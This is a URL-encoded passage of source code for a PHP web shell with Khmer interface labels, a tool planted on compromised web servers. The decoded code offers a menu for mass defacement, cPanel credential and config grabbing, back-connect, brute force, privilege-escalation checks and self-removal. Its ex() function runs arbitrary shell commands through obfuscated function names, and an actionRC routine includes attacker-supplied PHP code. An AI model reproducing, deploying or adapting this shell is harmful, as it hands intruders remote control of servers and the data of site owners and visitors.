22tinh%22%5D%5B16%5D%28%29%3B%20%24gid%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B17%5D%28%29%3B%20%24group%20%3D%20%22%3F%22%3B%20%7D%20else%20%7B%20%24uid%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B18%5D%28%40%24GLOBALS%5B%22tinh%22%5D%5B20%5D%28%29%29%3B%20%24gid%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B19%5D%28%40%24GLOBALS%5B%22tinh%22%5D%5B21%5D%28%29%29%3B%20%24user%20%3D%20%24uid%5B%22name%22%5D%3B%20%24uid%20%3D%20%24uid%5B%22uid%22%5D%3B%20%24group%20%3D%20%24gid%5B%22name%22%5D%3B%20%24gid%20%3D%20%24gid%5B%22gid%22%5D%3B%20%7D%20%24cwd%5flinks%20%3D%20%22%22%3B%20%24path%20%3D%20explode%28%22%2F%22%2C%20%24GLOBALS%5B%22cwd%22%5D%29%3B%20%24n%20%3D%20count%28%24path%29%3B%20for%20%28%24i%20%3D%200%3B%20%24i%20%3C%20%24n%20-%201%3B%20%24i%2B%2B%29%20%7B%20%24cwd%5flinks%20.%3D%20%22%3Ca%20href%3D%27%23%27%20onclick%3D%27g%28%5C%22FilesMan%5C%22%2C%5C%22%22%3B%20for%20%28%24j%20%3D%200%3B%20%24j%20%3C%3D%20%24i%3B%20%24j%2B%2B%29%20%7B%20%24cwd%5flinks%20.%3D%20%24path%5B%24j%5D%20.%20%22%2F%22%3B%20%7D%20%24cwd%5flinks%20.%3D%20%22%5C%22%29%27%3E%22%20.%20%24path%5B%24i%5D%20.%20%22%2F%3C%2Fa%3E%22%3B%20%7D%20%24charsets%20%3D%20%5B%22UTF-8%22%2C%20%22Windows-1251%22%2C%20%22KOI8-R%22%2C%20%22KOI8-U%22%2C%20%22cp866%22%5D%3B%20%24opt%5fcharsets%20%3D%20%22%22%3B%20foreach%20%28%24charsets%20as%20%24%E2%96%9F%29%20%7B%20%24opt%5fcharsets%20.%3D%20%27%3Coption%20value%3D%22%27%20.%20%24%E2%96%9F%20.%20%27%22%20%27%20.%20%28%24%5fPOST%5B%22charset%22%5D%20%3D%3D%20%24%E2%96%9F%20%3F%20%22selected%22%20%3A%20%22%22%29%20.%20%22%3E%22%20.%20%24%E2%96%9F%20.%20%22%3C%2Foption%3E%22%3B%20%7D%20%24m%20%3D%20%5B%20%22Sec.%20Info%22%20%3D%3E%20%22SecInfo%22%2C%20%22Files%22%20%3D%3E%20%22FilesMan%22%2C%20%22Mass%20Deface%22%20%3D%3E%20%22Sql%22%2C%20%22Adminer%22%20%3D%3E%20%22Infect%22%2C%20%22Mass%20Htcss%22%20%3D%3E%20%22Ht%22%2C%20%22Lock%20File%22%20%3D%3E%20%22Lockfile%22%2C%20%22AntiVirus%22%20%3D%3E%20%22Antivirus%22%2C%20%22Terminal%22%20%3D%3E%20%22Console%22%2C%20%22Mass%20Title%20Edit%22%20%3D%3E%20%22Massuser%22%2C%20%22Grab%20Cpanel%22%20%3D%3E%20%22Php%22%2C%20%22Get%20Configs%22%20%3D%3E%20%22SafeMode%22%2C%20%22Jumping%22%20%3D%3E%20%22StringTools%22%2C%20%22Cgi%20Telnet%22%20%3D%3E%20%22Bruteforce%22%2C%20%22Back%20Connect%22%20%3D%3E%20%22Network%22%2C%20%5D%3B%20if%20%28!empty%28%24GLOBALS%5B%22%E2%96%9B%22%5D%29%29%20%7B%20%24m%5B%22Logout%22%5D%20%3D%20%22Logout%22%3B%20%7D%20%24m%5B%22Self%20remove%22%5D%20%3D%20%22SelfRemove%22%3B%20%24menu%20%3D%20%22%22%3B%20foreach%20%28%24m%20as%20%24k%20%3D%3E%20%24v%29%20%7B%20%24menu%20.%3D%20%27%3Cth%3E%5B%20%3Ca%20href%3D%22%23%22%20onclick%3D%22g%28%5C%27%27%20.%20%24v%20.%20%27%5C%27%2Cnull%2C%5C%27%5C%27%2C%5C%27%5C%27%2C%5C%27%5C%27%29%22%3E%27%20.%20%24k%20.%20%22%3C%2Fa%3E%20%5D%3C%2Fth%3E%22%3B%20%7D%20%24drives%20%3D%20%22%22%3B%20if%20%28%24GLOBALS%5B%22os%22%5D%20%3D%3D%20%22win%22%29%20%7B%20foreach%20%28range%28%22c%22%2C%20%22z%22%29%20as%20%24drive%29%20%7B%20if%20%28is%5fdir%28%24drive%20.%20%22%3A%5C%5C%22%29%29%20%7B%20%24drives%20.%3D%20%27%3Ca%20href%3D%22%23%22%20onclick%3D%22g%28%5C%27FilesMan%5C%27%2C%5C%27%27%20.%20%24drive%20.%20%27%3A%2F%5C%27%29%22%3E%5B%20%27%20.%20%24drive%20.%20%22%20%5D%3C%2Fa%3E%20%22%3B%20%7D%20%7D%20%7D%20%24pk%20%3D%20is%5ffile%28%22%2Fusr%2Fbin%2Fpkexec%22%29%20%3F%20%22ON%22%20%3A%20%22OFF%22%3B%20echo%20%22%3Ctable%20class%3Dinfo%20cellpadding%3D3%20cellspacing%3D0%20width%3D100%25%3E%3Ctr%3E%3Ctd%20width%3D1%3E%3Cspan%3E%E1%9E%8E%E1%9E%B6%E1%9E%98%E1%9F%89%E1%9E%B6%3A%3Cbr%3E%E1%9E%A2%E1%9F%92%E1%9E%93%E1%9E%80%E2%80%8B%E1%9E%94%E1%9F%92%E1%9E%9A%E1%9E%BE%3A%3Cbr%3EPhp%3A%3Cbr%3E%E1%9E%90%E1%9E%B6%E1%9E%9F%3A%3Cbr%3E%E1%9E%91%E1%9E%B8%E1%9E%8F%E1%9E%B6%E1%9F%86%E1%9E%84%3A%22%20.%20%28%24GLOBALS%5B%22os%22%5D%20%3D%3D%20%22win%22%20%3F%20%22%3Cbr%3E%E1%9E%8A%E1%9F%92%E1%9E%9A%E1%9E%B6%E1%9E%99%3A%22%20%3A%20%22%22%29%20.%20%22%3C%2Fspan%3E%3C%2Ftd%3E%22%20.%20%22%3Ctd%3E%3Cnobr%3E%22%20.%20substr%28%40%24GLOBALS%5B%22tinh%22%5D%5B22%5D%28%29%2C%200%2C%20120%29%20.%20%27%20%3Ca%20href%3D%22https%3A%2F%2Fwww.google.co.id%2Fsearch%3Fq%3D%27%20.%20urlencode%28%40%24GLOBALS%5B%22tinh%22%5D%5B22%5D%28%29%29%20.%20%27%22%20target%3D%22%5fblank%22%3E%5B%20Google%20%5D%3C%2Fa%3E%20%3Ca%20href%3D%22%27%20.%20%24explink%20.%20%27%22%20target%3D%5fblank%3E%5B%20Exploit-DB%20%5D%3C%2Fa%3E%3C%2Fnobr%3E%3Cbr%3E%27%20.%20%24uid%20.%20%22%20%28%20%22%20.%20%24user%20.%20%22%20%29%20%3Cspan%3E%20%E1%9E%9A%E1%9E%80%E1%9E%BB%E1%9E%98%3A%3C%2Fspan%3E%20%22%20.%20%24gid%20.%20%22%20%28%20%22%20.%20%24group%20.%20%22%20%29%20%7C%20%3Cspan%3EPKEXEC%3A%20%3Cfont%20color%3D%22.COLOR%5f2.%22%3E%24pk%20%3C%2Ffont%3E%5B%20%22.pk%28%29.%22%20%7C%20%22.lp%28%29.%22%20%5D%3C%2Fspan%3E%3Cbr%3E%22%20.%20%40phpversion%28%29%20.%20%22%20%3Cspan%3E%E1%9E%85%E1%9F%86%E1%9E%8E%E1%9E%BB%E1%9E%85%E2%80%8B%E1%9E%9F%E1%9E%BB%E1%9E%9C%E1%9E%8F%E1%9F%92%E1%9E%90%E1%9E%B7%E1%9E%97%E1%9E%B6%E1%9E%96%3A%3C%2Fspan%3E%20%22%20.%20%28%24GLOBALS%5B%22safe%5fmode%22%5D%20%3F%20%22%3Cfont%20color%3Dred%3E%E1%9E%93%E1%9F%85%E1%9E%9B%E1%9E%BE%3C%2Ffont%3E%22%20%3A%20%22%3Cfont%20color%3D%22.COLOR%5f2.%22%3E%3Cb%3E%E1%9E%9F%E1%9F%92%E1%9E%9B%E1%9E%B6%E1%9E%94%E1%9F%8B%3C%2Fb%3E%3C%2Ffont%3E%22%29%20.%20%27%20%5B%20%3Cspan%3ELogin%20as%3A%20%3Ca%20href%3D%22%2F%2Ft.me%2Fx7htm%22%3E%3Cfont%20color%3D%27.COLOR%5f2.%27%3Efelicia%3F%3C%2Ffont%3E%3C%2Fa%3E%3C%2Fspan%3E%20%5D%20%3Cspan%3E%E1%9E%98%E1%9F%89%E1%9F%84%E1%9E%84%E1%9E%94%E1%9E%85%E1%9F%92%E1%9E%85%E1%9E%BB%E1%9E%94%E1%9F%92%E1%9E%94%E1%9E%93%E1%9F%92%E1%9E%93%3A%3C%2Fspan%3E%20%27%20.%20date%28%22Y-m-d%20H%3Ai%3As%22%29%20.%20%22%3Cbr%3E%22%20.%20viewSize%28%24totalSpace%29%20.%20%22%20%3Cspan%3E%E1%9E%A5%E1%9E%8F%E1%9E%82%E1%9E%B7%E1%9E%8F%E1%9E%90%E1%9F%92%E1%9E%9B%E1%9F%83%3A%3C%2Fspan%3E%20%22%20.%20viewSize%28%24freeSpace%29%20.%20%22%20%28%22%20.%20round%28100%20%2F%20%28%24totalSpace%20%2F%20%24freeSpace%29%2C%202%29%20.%20%22%25%29%3Cbr%3E%22%20.%20%24cwd%5flinks%20.%20%22%20%22%20.%20viewPermsColor%28%24GLOBALS%5B%22cwd%22%5D%29%20.%20%27%20%3Ca%20href%3D%23%20onclick%3D%22g%28%5C%27FilesMan%5C%27%2C%5C%27%27%20.%20%24GLOBALS%5B%22home%5fcwd%22%5D%20.%20%27%5C%27%2C%5C%27%5C%27%2C%5C%27%5C%27%2C%5C%27%5C%27%29%22%3E%5B%20%E1%9E%8F%E1%9F%92%E1%9E%9A%E1%9E%A1%E1%9E%94%E1%9F%8B%E1%9E%98%E1%9E%80%E1%9E%9C%E1%9E%B7%E1%9E%89%20%5D%3C%2Fa%3E%3Cbr%3E%27%20.%20%24drives%20.%20%22%3C%2Ftd%3E%22%20.%20%27%3Ctd%20width%3D1%20align%3Dright%3E%3Cnobr%3E%3Clabel%3E%3Cselect%20onchange%3D%22g%28null%2Cnull%2Cnull%2Cnull%2Cnull%2Cthis.value%29%22%3E%27%20.%20%24opt%5fcharsets%20.%20%22%3C%2Fselect%3E%3C%2Flabel%3E%3Cbr%3E%3Cspan%3E%E1%9E%98%E1%9F%89%E1%9E%B6%E1%9E%9F%E1%9F%8A%E1%9E%B8%E1%9E%93%E1%9E%98%E1%9F%81%20IP%3A%3C%2Fspan%3E%3Cbr%3E%22%20.%20gethostbyname%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22%3Cbr%3E%3Cspan%3EIP%20%E1%9E%A2%E1%9E%8F%E1%9E%B7%E1%9E%90%E1%9E%B7%E1%9E%87%E1%9E%93%3A%3C%2Fspan%3E%3Cbr%3E%22%20.%20%24%5fSERVER%5B%22REMOTE%5fADDR%22%5D%20.%20%22%3C%2Fnobr%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%22%20.%20%27%3Ctable%20style%3D%22background-color%3A%23373c42%3B%22%20cellpadding%3D3%20cellspacing%3D0%20width%3D100%25%3E%3Ctr%3E%27%20.%20%24menu%20.%20%22%3C%2Ftr%3E%3C%2Ftable%3E%3Cdiv%3E%3Cbr%3E%22%3B%20%7D%20function%20hardFooter%28%29%20%7B%20%24is%5fwritable%20%3D%20is%5fwritable%28%24GLOBALS%5B%22cwd%22%5D%29%20%3F%20%22%20%3Cfont%20color%3D%27%22.COLOR%5f2.%22%27%3E%5B%20Writeable%20%5D%3C%2Ffont%3E%22%20%3A%20%22%20%3Cfont%20color%3Dred%3E%28Not%20writable%29%3C%2Ffont%3E%22%3B%20echo%20%22%0A%3C%2Fdiv%3E%0A%3Ctable%20class%3Dinfo%20id%3DtoolsTbl%20cellpadding%3D3%20cellspacing%3D0%20width%3D100%25%3E%0A%09%3Ctr%3E%0A%09%09%3Ctd%3E%3Cform%20onsubmit%3D%5C%22%22%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22actionFilesMan%22%29%20%3F%20%22g%28null%2Cthis.c.value%2C%27%27%29%3B%22%20%3A%20%22%22%29%20.%20%22return%20false%3B%5C%22%3E%3Cspan%3E%E1%9E%95%E1%9F%92%E1%9E%9B%E1%9E%B6%E1%9E%9F%E1%9F%8B%E1%9E%94%E1%9F%92%E1%9E%8F%E1%9E%BC%E1%9E%9A%E1%9E%90%E1%9E%8F%3A%3C%2Fspan%3E%3Cbr%3E%3Cinput%20class%3D%27toolsInp%27%20type%3Dtext%20name%3Dc%20value%3D%27%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24GLOBALS%5B%22cwd%22%5D%29%20.%20%22%27%3E%3Cinput%20type%3Dsubmit%20value%3D%27submit%27%3E%3C%2Fform%3E%3C%2Ftd%3E%0A%09%09%3Ctd%3E%3Cform%20onsubmit%3D%5C%22%22%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22actionFilesTools%22%29%20%3F%20%22g%28%27FilesTools%27%2Cnull%2Cthis.f.value%29%3B%22%20%3A%20%22%22%29%20.%20%22return%20false%3B%5C%22%3E%3Cspan%3E%E1%9E%A2%E1%9E%B6%E1%9E%93%E1%9E%AF%E1%9E%80%E1%9E%9F%E1%9E%B6%E1%9E%9A%3A%3C%2Fspan%3E%3Cbr%3E%3Cinput%20class%3D%27toolsInp%27%20type%3Dtext%20name%3Df%20required%3E%3Cinput%20type%3Dsubmit%20value%3D%27submit%27%3E%3C%2Fform%3E%3C%2Ftd%3E%0A%09%3C%2Ftr%3E%3Ctr%3E%0A%09%09%3Ctd%3E%3Cform%20onsubmit%3D%5C%22%22%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22actionFilesMan%22%29%20%3F%20%22g%28%27FilesMan%27%2Cnull%2C%27mkdir%27%2Cthis.d.value%29%3B%22%20%3A%20%22%22%29%20.%20%22return%20false%3B%5C%22%3E%3Cspan%3E%E1%9E%94%E1%9E%84%E1%9F%92%E1%9E%80%E1%9E%BE%E1%9E%8F%E1%9E%90%E1%9E%8F%3A%3C%2Fspan%3E%24is%5fwritable%3Cbr%3E%3Cinput%20class%3D%27toolsInp%27%20type%3Dtext%20name%3Dd%20required%3E%3Cinput%20type%3Dsubmit%20value%3D%27submit%27%3E%3C%2Fform%3E%3C%2Ftd%3E%0A%09%09%3Ctd%3E%3Cform%20onsubmit%3D%5C%22%22%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22actionFilesTools%22%29%20%3F%20%22g%28%27FilesTools%27%2Cnull%2Cthis.f.value%2C%27mkfile%27%29%3B%22%20%3A%20%22%22%29%20.%20%22return%20false%3B%5C%22%3E%3Cspan%3E%E1%9E%94%E1%9E%84%E1%9F%92%E1%9E%80%E1%9E%BE%E1%9E%8F%E1%9E%AF%E1%9E%80%E1%9E%9F%E1%9E%B6%E1%9E%9A%3A%3C%2Fspan%3E%24is%5fwritable%3Cbr%3E%3Cinput%20class%3D%27toolsInp%27%20type%3Dtext%20name%3Df%20required%3E%3Cinput%20type%3Dsubmit%20value%3D%27submit%27%3E%3C%2Fform%3E%3C%2Ftd%3E%0A%09%3C%2Ftr%3E%3Ctr%3E%0A%09%09%3Ctd%3E%3Cform%20onsubmit%3D%5C%22%22%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22actionConsole%22%29%20%3F%20%22g%28%27Console%27%2Cnull%2Cthis.c.value%29%3B%22%20%3A%20%22%22%29%20.%20%22return%20false%3B%5C%22%3E%3Cspan%3E%E1%9E%80%E1%9E%B6%E1%9E%9A%E1%9E%94%E1%9F%92%E1%9E%9A%E1%9E%8F%E1%9E%B7%E1%9E%94%E1%9E%8F%E1%9F%92%E1%9E%8F%E1%9E%B7%3A%3C%2Fspan%3E%3Cbr%3E%3Cinput%20class%3D%27toolsInp%27%20type%3Dtext%20name%3Dc%20value%3D%27%27%3E%3Cinput%20type%3Dsubmit%20value%3D%27submit%27%3E%3C%2Fform%3E%3C%2Ftd%3E%0A%09%09%3Ctd%3E%3Cform%20method%3D%27post%27%20%22%20.%20%28!%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22actionFilesMan%22%29%20%3F%20%22%20onsubmit%3D%5C%22return%20false%3B%5C%22%20%22%20%3A%20%22%22%29%20.%20%22ENCTYPE%3D%27multipart%2Fform-data%27%3E%0A%09%09%3Cinput%20type%3Dhidden%20name%3Da%20value%3D%27FilesMan%27%3E%0A%09%09%3Cinput%20type%3Dhidden%20name%3Dc%20value%3D%27%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24GLOBALS%5B%22cwd%22%5D%29%20.%20%22%27%3E%0A%09%09%3Cinput%20type%3Dhidden%20name%3Dp1%20value%3D%27uploadFile%27%3E%0A%09%09%3Cinput%20type%3Dhidden%20name%3Dne%20value%3D%27%27%3E%0A%09%09%3Cinput%20type%3Dhidden%20name%3Dcharset%20value%3D%27%22%20.%20%28isset%28%24%5fPOST%5B%22charset%22%5D%29%20%3F%20%24%5fPOST%5B%22charset%22%5D%20%3A%20%22%22%29%20.%20%22%27%3E%0A%09%09%3Cspan%3E%E1%9E%95%E1%9F%92%E1%9E%91%E1%9E%BB%E1%9E%80%E1%9E%A1%E1%9E%BE%E1%9E%84%E1%9E%AF%E1%9E%80%E1%9E%9F%E1%9E%B6%E1%9E%9A%3A%3C%2Fspan%3E%24is%5fwritable%3Cbr%3E%3Cinput%20class%3D%27toolsInp%27%20type%3Dfile%20name%3Df%5B%5D%20%20multiple%3E%3Cinput%20type%3Dsubmit%20value%3D%27submit%27%3E%3C%2Fform%3E%3Cbr%20%20%3E%3C%2Ftd%3E%0A%09%3C%2Ftr%3E%3C%2Ftable%3E%3C%2Fdiv%3E%0A%09%3C!--%20particles%20--%3E%20%3Cdiv%20id%3D%27particles-js%27%3E%3C%2Fdiv%3E%3Cscript%20src%3D%27https%3A%2F%2Fcdn.jsdelivr.net%2Fparticles.js%2F2.0.0%2Fparticles.min.js%27%3E%3C%2Fscript%3E%0A%09%3Cscript%3EparticlesJS%28%27particles-js%27%2C%20%7B%27particles%27%3A%7B%27number%27%3A%7B%27value%27%3A80%2C%27density%27%3A%7B%27enable%27%3Atrue%2C%27value%5farea%27%3A800%7D%7D%2C%27color%27%3A%7B%27value%27%3A%27%23ffffff%27%7D%2C%27shape%27%3A%7B%27type%27%3A%27triangle%27%2C%27stroke%27%3A%7B%27width%27%3A0%2C%27color%27%3A%27%23000000%27%7D%2C%27polygon%27%3A%7B%27nb%5fsides%27%3A5%7D%2C%27image%27%3A%7B%27src%27%3A%27img%2Fgithub.svg%27%2C%27width%27%3A100%2C%27height%27%3A100%7D%7D%2C%27opacity%27%3A%7B%27value%27%3A0.5%2C%27random%27%3Atrue%2C%27anim%27%3A%7B%27enable%27%3Afalse%2C%27speed%27%3A1%2C%27opacity%5fmin%27%3A0.1%2C%27sync%27%3Afalse%7D%7D%2C%27size%27%3A%7B%27value%27%3A3%2C%27random%27%3Atrue%2C%27anim%27%3A%7B%27enable%27%3Afalse%2C%27speed%27%3A40%2C%27size%5fmin%27%3A0.1%2C%27sync%27%3Afalse%7D%7D%2C%27line%5flinked%27%3A%7B%27enable%27%3Atrue%2C%27distance%27%3A200%2C%27color%27%3A%27%23ffffff%27%2C%27opacity%27%3A0.4%2C%27width%27%3A1%7D%2C%27move%27%3A%7B%27enable%27%3Atrue%2C%27speed%27%3A1%2C%27direction%27%3A%27none%27%2C%27random%27%3Atrue%2C%27straight%27%3Afalse%2C%27out%5fmode%27%3A%27out%27%2C%27bounce%27%3Afalse%2C%27attract%27%3A%7B%27enable%27%3Afalse%2C%27rotateX%27%3A10000%2C%27rotateY%27%3A10000%7D%7D%7D%2C%27interactivity%27%3A%7B%27detect%5fon%27%3A%27canvas%27%2C%27events%27%3A%7B%27onhover%27%3A%7B%27enable%27%3Atrue%2C%27mode%27%3A%27grab%27%7D%2C%27onclick%27%3A%7B%27enable%27%3Atrue%2C%27mode%27%3A%27repulse%27%7D%2C%27resize%27%3Atrue%7D%2C%27modes%27%3A%7B%27grab%27%3A%7B%27distance%27%3A200%2C%27line%5flinked%27%3A%7B%27opacity%27%3A0.5%7D%7D%2C%27bubble%27%3A%7B%27particles%5fnb%27%3A2%7D%7D%7D%2C%27retina%5fdetect%27%3Atrue%7D%29%3B%3C%2Fscript%3E%0A%09%3C%2Fbody%3E%3C%2Fhtml%3E%22%3B%20%7D%20if%20%28%20!%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22posix%5fgetpwuid%22%29%20%26%26%20%24GLOBALS%5B%22tinh%22%5D%5B29%5D%28%24GLOBALS%5B%22disable%5ffunctions%22%5D%2C%20%22posix%5fgetpwuid%22%29%20%3D%3D%3D%20false%20%29%20%7B%20function%20posix%5fgetpwuid%28%24p%29%20%7B%20return%20false%3B%20%7D%20%7D%20if%20%28%20!%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22posix%5fgetgrgid%22%29%20%26%26%20%24GLOBALS%5B%22tinh%22%5D%5B29%5D%28%24GLOBALS%5B%22disable%5ffunctions%22%5D%2C%20%22posix%5fgetgrgid%22%29%20%3D%3D%3D%20false%20%29%20%7B%20function%20posix%5fgetgrgid%28%24p%29%20%7B%20return%20false%3B%20%7D%20%7D%20function%20ex%28%24in%29%20%7B%20%24%E2%96%96%20%3D%20%22%22%3B%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%24GLOBALS%5B%22tinh%22%5D%5B0%5D%29%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B0%5D%28%24in%2C%20%24%E2%96%96%29%3B%20%24%E2%96%96%20%3D%20%40join%28%22%5Cn%22%2C%20%24%E2%96%96%29%3B%20%7D%20elseif%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%24GLOBALS%5B%22tinh%22%5D%5B1%5D%29%29%20%7B%20ob%5fstart%28%29%3B%20%24GLOBALS%5B%22tinh%22%5D%5B1%5D%28%24in%29%3B%20%24%E2%96%96%20%3D%20ob%5fget%5fclean%28%29%3B%20%7D%20elseif%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%24GLOBALS%5B%22tinh%22%5D%5B2%5D%29%29%20%7B%20ob%5fstart%28%29%3B%20%24GLOBALS%5B%22tinh%22%5D%5B2%5D%28%24in%29%3B%20%24%E2%96%96%20%3D%20ob%5fget%5fclean%28%29%3B%20%7D%20elseif%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%24GLOBALS%5B%22tinh%22%5D%5B3%5D%29%29%20%7B%20%24%E2%96%96%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B3%5D%28%24in%29%3B%20%7D%20elseif%20%28is%5fresource%28%24f%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B5%5D%28%24in%2C%20%22r%22%29%29%29%20%7B%20%24%E2%96%96%20%3D%20%22%22%3B%20while%20%28!%40feof%28%24f%29%29%20%7B%20%24%E2%96%96%20.%3D%20fread%28%24f%2C%201024%29%3B%20%7D%20%24GLOBALS%5B%22tinh%22%5D%5B4%5D%28%24f%29%3B%20%7D%20else%20%7B%20return%20%22%E2%86%B3%20Unable%20to%20execute%20command%5Cn%22%3B%20%7D%20return%20%24%E2%96%96%20%3D%3D%20%22%22%20%3F%20%22%E2%86%B3%20Query%20did%20not%20return%20anything%5Cn%22%20%3A%20%24%E2%96%96%3B%20%7D%20function%20viewSize%28%24s%29%20%7B%20if%20%28%24s%20%3E%3D%201073741824%29%20%7B%20return%20sprintf%28%22%251.2f%22%2C%20%24s%20%2F%201073741824%29%20.%20%22%20GB%22%3B%20%7D%20elseif%20%28%24s%20%3E%3D%201048576%29%20%7B%20return%20sprintf%28%22%251.2f%22%2C%20%24s%20%2F%201048576%29%20.%20%22%20MB%22%3B%20%7D%20elseif%20%28%24s%20%3E%3D%201024%29%20%7B%20return%20sprintf%28%22%251.2f%22%2C%20%24s%20%2F%201024%29%20.%20%22%20KB%22%3B%20%7D%20else%20%7B%20return%20%24s%20.%20%22%20B%22%3B%20%7D%20%7D%20function%20perms%28%24p%29%20%7B%20if%20%28%28%24p%20%26%200xc000%29%20%3D%3D%200xc000%29%20%7B%20%24i%20%3D%20%22s%22%3B%20%7D%20elseif%20%28%28%24p%20%26%200xa000%29%20%3D%3D%200xa000%29%20%7B%20%24i%20%3D%20%22l%22%3B%20%7D%20elseif%20%28%28%24p%20%26%200x8000%29%20%3D%3D%200x8000%29%20%7B%20%24i%20%3D%20%22-%22%3B%20%7D%20elseif%20%28%28%24p%20%26%200x6000%29%20%3D%3D%200x6000%29%20%7B%20%24i%20%3D%20%22b%22%3B%20%7D%20elseif%20%28%28%24p%20%26%200x4000%29%20%3D%3D%200x4000%29%20%7B%20%24i%20%3D%20%22d%22%3B%20%7D%20elseif%20%28%28%24p%20%26%200x2000%29%20%3D%3D%200x2000%29%20%7B%20%24i%20%3D%20%22c%22%3B%20%7D%20elseif%20%28%28%24p%20%26%200x1000%29%20%3D%3D%200x1000%29%20%7B%20%24i%20%3D%20%22p%22%3B%20%7D%20else%20%7B%20%24i%20%3D%20%22u%22%3B%20%7D%20%24i%20.%3D%20%24p%20%26%200x0100%20%3F%20%22r%22%20%3A%20%22-%22%3B%20%24i%20.%3D%20%24p%20%26%200x0080%20%3F%20%22w%22%20%3A%20%22-%22%3B%20%24i%20.%3D%20%24p%20%26%200x0040%20%3F%20%28%24p%20%26%200x0800%20%3F%20%22s%22%20%3A%20%22x%22%29%20%3A%20%28%24p%20%26%200x0800%20%3F%20%22S%22%20%3A%20%22-%22%29%3B%20%24i%20.%3D%20%24p%20%26%200x0020%20%3F%20%22r%22%20%3A%20%22-%22%3B%20%24i%20.%3D%20%24p%20%26%200x0010%20%3F%20%22w%22%20%3A%20%22-%22%3B%20%24i%20.%3D%20%24p%20%26%200x0008%20%3F%20%28%24p%20%26%200x0400%20%3F%20%22s%22%20%3A%20%22x%22%29%20%3A%20%28%24p%20%26%200x0400%20%3F%20%22S%22%20%3A%20%22-%22%29%3B%20%24i%20.%3D%20%24p%20%26%200x0004%20%3F%20%22r%22%20%3A%20%22-%22%3B%20%24i%20.%3D%20%24p%20%26%200x0002%20%3F%20%22w%22%20%3A%20%22-%22%3B%20%24i%20.%3D%20%24p%20%26%200x0001%20%3F%20%28%24p%20%26%200x0200%20%3F%20%22t%22%20%3A%20%22x%22%29%20%3A%20%28%24p%20%26%200x0200%20%3F%20%22T%22%20%3A%20%22-%22%29%3B%20return%20%24i%3B%20%7D%20function%20viewPermsColor%28%24f%29%20%7B%20if%20%28!%40is%5freadable%28%24f%29%29%20%7B%20return%20%22%3Cfont%20color%3D%23ff5e00d9%3E%3Cb%3E%22%20.%20perms%28%40fileperms%28%24f%29%29%20.%20%22%3C%2Fb%3E%3C%2Ffont%3E%22%3B%20%7D%20elseif%20%28!%40is%5fwritable%28%24f%29%29%20%7B%20return%20%22%3Cfont%20color%3Dwhite%3E%3Cb%3E%22%20.%20perms%28%40fileperms%28%24f%29%29%20.%20%22%3C%2Fb%3E%3C%2Ffont%3E%22%3B%20%7D%20else%20%7B%20return%20%22%3Cfont%20color%3D%22.COLOR%5f2.%22%3E%3Cb%3E%22%20.%20perms%28%40fileperms%28%24f%29%29%20.%20%22%3C%2Fb%3E%3C%2Ffont%3E%22%3B%20%7D%20%7D%20function%20hardScandir%28%24dir%29%20%7B%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22scandir%22%29%29%20%7B%20return%20scandir%28%24dir%29%3B%20%7D%20else%20%7B%20%24dh%20%3D%20opendir%28%24dir%29%3B%20while%20%28false%20!%3D%3D%20%28%24filename%20%3D%20readdir%28%24dh%29%29%29%20%7B%20%24files%5B%5D%20%3D%20%24filename%3B%20%7D%20return%20%24files%3B%20%7D%20%7D%20function%20which%28%24p%29%20%7B%20%24path%20%3D%20ex%28%22which%20%22%20.%20%24p%29%3B%20if%20%28!empty%28%24path%29%29%20%7B%20return%20%24path%3B%20%7D%20return%20false%3B%20%7D%20function%20actionRC%28%29%20%7B%20if%20%28!%40%24%5fPOST%5B%22p1%22%5D%29%20%7B%20%24a%20%3D%20%5B%20%22uname%22%20%3D%3E%20%24GLOBALS%5B%22tinh%22%5D%5B22%5D%28%29%2C%20%22php%5fversion%22%20%3D%3E%20phpversion%28%29%2C%20%22VERSION%22%20%3D%3E%20VERSION%2C%20%22safemode%22%20%3D%3E%20%40%24GLOBALS%5B%22tinh%22%5D%5B12%5D%28%22safe%5fmode%22%29%2C%20%5D%3B%20echo%20serialize%28%24a%29%3B%20%7D%20else%20%7B%20%24temp%5ffile%20%3D%20tmpfile%28%29%3B%20fwrite%28%24temp%5ffile%2C%20%24%5fPOST%5B%22p1%22%5D%29%3B%20include%20stream%5fget%5fmeta%5fdata%28%24temp%5ffile%29%5B%22uri%22%5D%3B%20fclose%28%24temp%5ffile%29%3B%20%7D%20%7D%20function%20prototype%28%24k%2C%20%24v%29%20%7B%20%24%5fCOOKIE%5B%24k%5D%20%3D%20%24v%3B%20%24GLOBALS%5B%22tinh%22%5D%5B10%5D%28%24k%2C%20%24v%29%3B%20%7D%20function%20actionSecInfo%28%29%20%7B%20hardHeader%28%29%3B%20echo%20%22%3Ch1%3EServer%20security%20information%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%22%3B%20function%20showSecParam%28%24n%2C%20%24v%29%20%7B%20%24v%20%3D%20trim%28%24v%29%3B%20if%20%28%24v%29%20%7B%20echo%20%22%3Cspan%3E%22%20.%20%24n%20.%20%22%3A%20%3C%2Fspan%3E%22%3B%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B29%5D%28%24v%2C%20%22%5Cn%22%29%20%3D%3D%3D%20false%29%20%7B%20echo%20%24v